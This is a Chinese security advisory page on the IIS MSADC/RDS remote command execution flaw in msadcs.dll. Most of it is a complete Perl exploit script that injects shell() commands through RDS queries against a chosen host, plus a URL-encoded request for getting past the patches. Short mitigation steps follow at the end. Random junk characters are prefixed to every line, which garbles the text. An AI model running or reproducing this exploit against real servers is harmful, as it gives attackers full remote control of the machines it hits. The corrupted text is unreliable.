IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
sf|[oD U 9?!|h;7 涉及程序:
SGU~LW& Microsoft NT server
d45JT?qg& ?1I0VA'] 描述:
Mb I';Mq 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
h4x RRyK IEB|Y 详细:
#eqy!QdePf 如果你没有时间读详细内容的话,就删除:
k^pf)*p c:\Program Files\Common Files\System\Msadc\msadcs.dll
=9oN#4mWK 有关的安全问题就没有了。
7[l
"= Dl3Df u8 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
0!n6tz lT T/V 5pYl 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
XK)qDg 关于利用ODBC远程漏洞的描述,请参看:
_Z:WgO]. Ou
_bM n http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm CbJ ]}Z ACg5" 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
T[iwP~l http://www.microsoft.com/security/bulletins/MS99-025faq.asp |zV-a2K%J \h%/Cp+p 这里不再论述。
x)hp3&L C^po*(W6 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
?PIOuN= :VPZGzK4 /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
<B;l).[6 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
r )cGee -Kj^ l3w [Ng#/QXk{ #将下面这段保存为txt文件,然后: "perl -x 文件名"
o)P'H"Ki Y9TaU]7] #!perl
gE/O29Y #
zkdyfl5 # MSADC/RDS 'usage' (aka exploit) script
iBy:HH #
9:bC{n # by rain.forest.puppy
5PPV`7Xm9 #
D]9I-| # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
Xi'y-cV
^ # beta test and find errors!
'm@0[i "28b&pm use Socket; use Getopt::Std;
Cwxy~.mI getopts("e:vd:h:XR", \%args);
F z_SID nlsQf3 print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
'3f"#fF6 21$YZlhJ if (!defined $args{h} && !defined $args{R}) {
,X&lVv# print qq~
9=D\xBd|w Usage: msadc.pl -h <host> { -d <delay> -X -v }
pJ6Z/3] -h <host> = host you want to scan (ip or domain)
ZGHkW9b& -d <seconds> = delay between calls, default 1 second
t)n!]; -X = dump Index Server path table, if available
b!Q|0X.? -v = verbose
a _YE[6 -e = external dictionary file for step 5
_MfB,CS
ZJ9J*5!C Or a -R will resume a command session
ic:_v?k We#u-#k_O ~; exit;}
[N}:Di,S yWa-iHWC $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
y!SElKj if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
ZM/*cA!" if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
n|vIo) if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
swvn*xr $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
Z8P{Cr~U9 if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
**V^8'W< ">}l8MA if (!defined $args{R}){ $ret = &has_msadc;
ZqQJFyV* die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
I| qoH N,g /wB<1b" print "Please type the NT commandline you want to run (cmd /c assumed):\n"
)+c4n] . "cmd /c ";
K@P5]}'# $in=<STDIN>; chomp $in;
!HM|~G7 $command="cmd /c " . $in ;
)miY>7K 48CLnyYiF if (defined $args{R}) {&load; exit;}
H/>86GG oagxTFh8~ print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
q/Dc*Qn
m &try_btcustmr;
PsTPGK#S +(iM]L$Fw% print "\nStep 2: Trying to make our own DSN...";
>&mlwxqv &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
cB
U,! vgSs]g print "\nStep 3: Trying known DSNs...";
@Iz vObK &known_dsn;
R9o3T)9V #EiOC.A= print "\nStep 4: Trying known .mdbs...";
[Y_6PR &known_mdb;
A.<HOx 0wV!mC if (defined $args{e}){
|?n=~21"1O print "\nStep 5: Trying dictionary of DSN names...";
utxT$1iJn~ &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
$9dm2#0d )cnB>Qul print "Sorry Charley...maybe next time?\n";
5|!x0H; exit;
|;o#-YosP rxu
6 #v F ##############################################################################
,vEwck# &B\tcF sub sendraw { # ripped and modded from whisker
F gM<2$h sleep($delay); # it's a DoS on the server! At least on mine...
"ZDc$v:Qa my ($pstr)=@_;
N.OC _H& socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
wkK61ah6 die("Socket problems\n");
/238pg~Cw5 if(connect(S,pack "SnA4x8",2,80,$target)){
RKsr}-18 select(S); $|=1;
?y82S*sb# print $pstr; my @in=<S>;
PDaHY select(STDOUT); close(S);
6'UtB !gr return @in;
l/,O9ur- } else { die("Can't connect...\n"); }}
U`_(Lq%5W N!>Gg|@~ ##############################################################################
F23/|q{{ B#'TF?HUEn sub make_header { # make the HTTP request
4:-h\% my $msadc=<<EOT
!uLW-[F, POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
QLYb>8?"C User-Agent: ACTIVEDATA
lwhAF, '$ Host: $ip
iva&W Content-Length: $clen
ru,]!YPJE2 Connection: Keep-Alive
5;5;bBo~ XQ&iV7 ADCClientVersion:01.06
%pmowo~{ Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
O;c;>x_dA Ym+k \h --!ADM!ROX!YOUR!WORLD!
|[n-H;0 Content-Type: application/x-varg
^'Wkb7L Content-Length: $reqlen
Kl<qp7o0 :9N~wd EOT
[@Y<:6 ; $msadc=~s/\n/\r\n/g;
deSrs:. return $msadc;}
8jW{0&ox) }I;A\K] ##############################################################################
:Xc%_&) Mi&,64< sub make_req { # make the RDS request
h(!x&kZq. my ($switch, $p1, $p2)=@_;
/%Lj$]S7[4 my $req=""; my $t1, $t2, $query, $dsn;
L@Fw;G|%' Cdl#LVqs if ($switch==1){ # this is the btcustmr.mdb query
;
mF-y,E $query="Select * from Customers where City=" . make_shell();
dxbP'2~ $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
*(@(9]B~ $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
hM^#X,7 `2\vDy1,j elsif ($switch==2){ # this is general make table query
kxt@t# $query="create table AZZ (B int, C varchar(10))";
|i'V\"
hW $dsn="$p1";}
p_S8m|% 4`5 jq) elsif ($switch==3){ # this is general exploit table query
Jr
m<ut $query="select * from AZZ where C=" . make_shell();
;}{xpJ/ $dsn="$p1";}
vR<Y1<j I`kaAOe elsif ($switch==4){ # attempt to hork file info from index server
7ET^,6 $query="select path from scope()";
pASNiH698 $dsn="Provider=MSIDXS;";}
,<*n>W4| Qi`Lj5;\F elsif ($switch==5){ # bad query
#4"(M9kf $query="select";
.C(Ir $dsn="$p1";}
MkZm
=Sf w!o[pvyR$ $t1= make_unicode($query);
;rWgt!l $t2= make_unicode($dsn);
:RR<-N5+ $req = "\x02\x00\x03\x00";
p%~#~5t, $req.= "\x08\x00" . pack ("S1", length($t1));
(y%}].[bB $req.= "\x00\x00" . $t1 ;
@'`!2[2'? $req.= "\x08\x00" . pack ("S1", length($t2));
xlG/$`Ab $req.= "\x00\x00" . $t2 ;
YIo$ $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
z/u;afB9q return $req;}
{Y-<#U~iH T8E=}!68w} ##############################################################################
uTGd{w@]0| ]kA0C~4 sub make_shell { # this makes the shell() statement
rLO1Sv return "'|shell(\"$command\")|'";}
wjW>#DE @ qWgokf ##############################################################################
r#
MJ T X.YTU sub make_unicode { # quick little function to convert to unicode
_cdrz)T my ($in)=@_; my $out;
@ SaU2 for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
]2\|<. return $out;}
_]8FCO j#d=V@=a ##############################################################################
,2T&33m
tZmo= 3+: sub rdo_success { # checks for RDO return success (this is kludge)
DJ;il)^ my (@in) = @_; my $base=content_start(@in);
i:W.,w%8 if($in[$base]=~/multipart\/mixed/){
-L@4da[]i return 1 if( $in[$base+10]=~/^\x09\x00/ );}
yi*)g0M return 0;}
cjfYE] TUoEk ##############################################################################
1o\P7PLe 8px@sXI*` sub make_dsn { # this makes a DSN for us
,> lOmyh my @drives=("c","d","e","f");
. (G9mZFV print "\nMaking DSN: ";
8enlF\I8g foreach $drive (@drives) {
||3%REliC print "$drive: ";
!'uL my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
V(Ll]g/T_; "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
i356m9j . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
;Z|X` <6g $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
7YT%.ID return 0 if $2 eq "404"; # not found/doesn't exist
]w z`j1 if($2 eq "200") {
bb}zn'xC foreach $line (@results) {
mn;;wp return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
ek!x:G$' } return 0;}
N9hs<b+N_ 7l}P!xa& ##############################################################################
'fO[f}oa_. Ik2yIf5d sub verify_exists {
y}5V3)P my ($page)=@_;
|}s)Wo my @results=sendraw("GET $page HTTP/1.0\n\n");
=.`(KXT return $results[0];}
.lnyn|MVb S]&f+g}&w ##############################################################################
SyFw yJ*`OU# sub try_btcustmr {
7(cRm$)L my @drives=("c","d","e","f");
1!_$HA my @dirs=("winnt","winnt35","winnt351","win","windows");
!$N^Ak5# {`,dWjy{% foreach $dir (@dirs) {
F N6GV print "$dir -> "; # fun status so you can see progress
S}6Ty2.\ foreach $drive (@drives) {
)
=-$>75Z print "$drive: "; # ditto
As0E'n85 $reqlen=length( make_req(1,$drive,$dir) ) - 28;
D^ZG-WR $reqlenlen=length( "$reqlen" );
;hb;%<xqT $clen= 206 + $reqlenlen + $reqlen;
ggQ/_F8u Vg'vL[Y my @results=sendraw(make_header() . make_req(1,$drive,$dir));
u6^cLQO+ if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
jp=z
^l else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
x"xl3dRu ?O3E.!Q| ##############################################################################
V45A>#?U 87WIDr sub odbc_error {
;NNYJqWd^] my (@in)=@_; my $base;
j"6r]nc& my $base = content_start(@in);
CT5\8C if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
l~P%mVC3m $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
Iz Vb $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
lz2B,# $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
3z7SK Gy return $in[$base+4].$in[$base+5].$in[$base+6];}
D2N| A print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
vN#?>aL print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
{Q9?Q? $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
'J\nvNm jb;!"HC ##############################################################################
`-@8IZ7 -PX Rd)~ sub verbose {
q"){PRTm/ my ($in)=@_;
$yxwB/ O( return if !$verbose;
3
RB+ print STDOUT "\n$in\n";}
.j"iJ/ ]}7FTMGbY ##############################################################################
E4;vC ?K{ SFhi]48&V sub save {
|@'/F #T my ($p1, $p2, $p3, $p4)=@_;
UrtA]pc3L open(OUT, ">rds.save") || print "Problem saving parameters...\n";
*IBT!@*Q& print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
<u "xHl8Io close OUT;}
*_feD+rq o/0cd ##############################################################################
"#zSk=52z We%HdTKT sub load {
qTc-Z5 my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
%siBCjvo= open(IN,"<rds.save") || die("Couldn't open rds.save\n");
<Y%km[Mh @p=<IN>; close(IN);
JX4uH>6 $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
<ZmC8&Uo $target= inet_aton($ip) || die("inet_aton problems");
XC44]o4jx print "Resuming to $ip ...";
'-9B`O,& $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
^`M,ju if($p[1]==1) {
2J?ON|2M $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
}%e"A4v $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
%f[0&)1!.v my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
z+3GzDLy if (rdo_success(@results)){print "Success!\n";}
WcRTv"4& else { print "failed\n"; verbose(odbc_error(@results));}}
h8Wv t's elsif ($p[1]==3){
`^FAD if(run_query("$p[3]")){
k;EG28
print "Success!\n";} else { print "failed\n"; }}
r?cDyQE elsif ($p[1]==4){
_0HCtx ; if(run_query($drvst . "$p[3]")){
R1'tW= print "Success!\n"; } else { print "failed\n"; }}
scr`] tD exit;}
vh+ '
W %3p~5jhm1 ##############################################################################
#63)I9> 117`=9F sub create_table {
R=Qa54 my ($in)=@_;
nsf.wHGZ"J $reqlen=length( make_req(2,$in,"") ) - 28;
w3,DsEXu $reqlenlen=length( "$reqlen" );
'7BJ. $clen= 206 + $reqlenlen + $reqlen;
/hrVnki* my @results=sendraw(make_header() . make_req(2,$in,""));
Eo
h4#fZ\N return 1 if rdo_success(@results);
,_SE!iL my $temp= odbc_error(@results); verbose($temp);
j&6O1 return 1 if $temp=~/Table 'AZZ' already exists/;
{7EnM1] return 0;}
.T!R]n vP k\b 3E ##############################################################################
{T;A50 [\i0@ sub known_dsn {
S"-q*!AhK # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
D1xIRyc/ my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
~HW8mly' "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
dP[vXhc "banner", "banners", "ads", "ADCDemo", "ADCTest");
0EWov~Y? 6Bv!t2 foreach $dSn (@dsns) {
lI,lR print ".";
?HD
eiJkX next if (!is_access("DSN=$dSn"));
!u)>XS^E if(create_table("DSN=$dSn")){
W~" 'a9H/ print "$dSn successful\n";
gteG*p i if(run_query("DSN=$dSn")){
8]G print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
_ ^ JhncL print "Something's borked. Use verbose next time\n";}}} print "\n";}
!V%h0OE\ [u?*'
c{ ##############################################################################
cx+w_D9b!
_aJo7 sub is_access {
QmHj=s:x\ my ($in)=@_;
/R/\>'{E&c $reqlen=length( make_req(5,$in,"") ) - 28;
$*k(h|XfwW $reqlenlen=length( "$reqlen" );
Kivr)cIG $clen= 206 + $reqlenlen + $reqlen;
U3UKu/Z my @results=sendraw(make_header() . make_req(5,$in,""));
|gV$ks\< my $temp= odbc_error(@results);
)># Y,/q verbose($temp); return 1 if ($temp=~/Microsoft Access/);
adCTo return 0;}
Ca2He}r` DHI%R< ##############################################################################
$m
hIXA. O {hM sub run_query {
MC'2;, my ($in)=@_;
ejFGeR $reqlen=length( make_req(3,$in,"") ) - 28;
NE~R&ym9 $reqlenlen=length( "$reqlen" );
E \p Qh $clen= 206 + $reqlenlen + $reqlen;
Xl/SDm_p my @results=sendraw(make_header() . make_req(3,$in,""));
rofGD9f
return 1 if rdo_success(@results);
~8oti4 my $temp= odbc_error(@results); verbose($temp);
8D
H~~by return 0;}
y3Z\ Y[ -(oFO'Lbg ##############################################################################
{fd/:B 7T Z91{*? sub known_mdb {
uT
Z#85L` my @drives=("c","d","e","f","g");
_VjfjA<c8 my @dirs=("winnt","winnt35","winnt351","win","windows");
^i"~6QYE my $dir, $drive, $mdb;
yG v7^d my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
5YV3pFz$) Q<c{$o # this is sparse, because I don't know of many
SlaHhq3 my @sysmdbs=( "\\catroot\\icatalog.mdb",
pYRqV "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
d*B^pDf "\\system32\\certmdb.mdb",
*UerLpf "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
>b1#dEY a1Kh my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
',_E;( "\\cfusion\\cfapps\\forums\\forums_.mdb",
Tr6J+hS "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
}CM</ "\\cfusion\\cfapps\\security\\realm_.mdb",
$~;h}I "\\cfusion\\cfapps\\security\\data\\realm.mdb",
-J6G=+s/ "\\cfusion\\database\\cfexamples.mdb",
1H-d<G0) "\\cfusion\\database\\cfsnippets.mdb",
n)<S5P? "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
ELvP<Ny} "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
@H83Ad "\\cfusion\\brighttiger\\database\\cleam.mdb",
7u=R5 "\\cfusion\\database\\smpolicy.mdb",
.#OD=wkN0 "\\cfusion\\database\cypress.mdb",
TXWYQ~]3w "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
QjIn0MJ)Xm "\\website\\cgi-win\\dbsample.mdb",
uHQf <R$: "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
2{Johqf "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
G~+BO'U9'G ); #these are just
+ g*s%^(E foreach $drive (@drives) {
wCitQ0? foreach $dir (@dirs){
>WZ_) `R foreach $mdb (@sysmdbs) {
fep8hf B; print ".";
vVyX[ZZ if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
l ~C=yP(~ print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
*NjjFk=R if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
CG0jZB#u print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
r7zS4;b } else { print "Something's borked. Use verbose next time\n"; }}}}}
9 *+X^q' ~lQ<#*wl foreach $drive (@drives) {
tb1w 6jaU foreach $mdb (@mdbs) {
V4CL%i print ".";
JVe!(L4H if(create_table($drv . $drive . $dir . $mdb)){
bd;?oYV~ print "\n" . $drive . $dir . $mdb . " successful\n";
oro^'#ki if(run_query($drv . $drive . $dir . $mdb)){
DkA@KS1Dq print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
,7/F?!G!J } else { print "Something's borked. Use verbose next time\n"; }}}}
s#*
DY }
%+bw2;a6 ytyX:e" ##############################################################################
F8pP(Wl .l:x! sub hork_idx {
45(n!"u65 print "\nAttempting to dump Index Server tables...\n";
+?%LX4Y print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
[h0.k"&[ $reqlen=length( make_req(4,"","") ) - 28;
Pw|J([ $reqlenlen=length( "$reqlen" );
y?-zQs0 $clen= 206 + $reqlenlen + $reqlen;
3*C|"|lJ my @results=sendraw2(make_header() . make_req(4,"",""));
5faY{;8 if (rdo_success(@results)){
v*lj>)L my $max=@results; my $c; my %d;
Z1Pdnc7S[ for($c=19; $c<$max; $c++){
*p.70,5, $results[$c]=~s/\x00//g;
K9=f`JI9 $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
INF}~DN] $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
_qp^+ $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
VSDG_:!K $d{"$1$2"}="";}
JBMJR foreach $c (keys %d){ print "$c\n"; }
,&ld:v?~ } else {print "Index server doesn't seem to be installed.\n"; }}
rk)h_zN -VafN ##############################################################################
\(4kEB2s$ ;56mkP sub dsn_dict {
"~,3gNTzV open(IN, "<$args{e}") || die("Can't open external dictionary\n");
%SC%#_7 while(<IN>){
1$RUhxT $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
;8iK] ;^ next if (!is_access("DSN=$dSn"));
f2]O5rXp if(create_table("DSN=$dSn")){
TD^w|U. print "$dSn successful\n";
pRc<U^Z.h if(run_query("DSN=$dSn")){
=%ry-n G print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
P+gYLX8 print "Something's borked. Use verbose next time\n";}}}
N6<G`k, print "\n"; close(IN);}
) k6O P^-daRb
##############################################################################
#,jw! HO] i7jI(VvB^ sub sendraw2 { # ripped and modded from whisker
5-B % 08T sleep($delay); # it's a DoS on the server! At least on mine...
48g`i my ($pstr)=@_;
"8*5!anu- socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
)Q5ja}-{V die("Socket problems\n");
|HfN<4NL if(connect(S,pack "SnA4x8",2,80,$target)){
eZvG print "Connected. Getting data";
uD8,E!\ open(OUT,">raw.out"); my @in;
%$ ^eY'-' select(S); $|=1; print $pstr;
}pOJ M&I while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
qu+Zl1~$] close(OUT); select(STDOUT); close(S); return @in;
\ ~uY); } else { die("Can't connect...\n"); }}
ykBq?Vr Scz/2vNi` ##############################################################################
Z_WJgH2c XM:Y(#?l sub content_start { # this will take in the server headers
q6AL}9]9 my (@in)=@_; my $c;
t +h}hL for ($c=1;$c<500;$c++) {
<d]
t{M62W if($in[$c] =~/^\x0d\x0a/){
Xd@_:ds if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
R.)w
l else { return $c+1; }}}
@lu`oyM return -1;} # it should never get here actually
/=+Bc=<lZ ~0T,_N ##############################################################################
$(N+E,XB wdLlQD sub funky {
cIB[D. my (@in)=@_; my $error=odbc_error(@in);
-esq]c%3 if($error=~/ADO could not find the specified provider/){
D]*<J"/]d print "\nServer returned an ADO miscofiguration message\nAborting.\n";
gK",D^6T*Y exit;}
m5kt
O^EU if($error=~/A Handler is required/){
GI[XcK^*w print "\nServer has custom handler filters (they most likely are patched)\n";
`\M}~ exit;}
aC,?FWm if($error=~/specified Handler has denied Access/){
cM;,n X %/ print "\nServer has custom handler filters (they most likely are patched)\n";
CMviR<. exit;}}
Jknit bc%N !d ##############################################################################
c?7Wjy OqlP_^Zz7p sub has_msadc {
HE.YfD) my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
TBu[3X% my $base=content_start(@results);
[e?vqm . return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
y#?AW`|
return 0;}
6[S-%|f |L%d^m ########################
z3C@0v=u> }e8u p*#me SE0&CV4 解决方案:
]h4r@L3 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
=b/:rSd$NA 2、移除web 目录: /msadc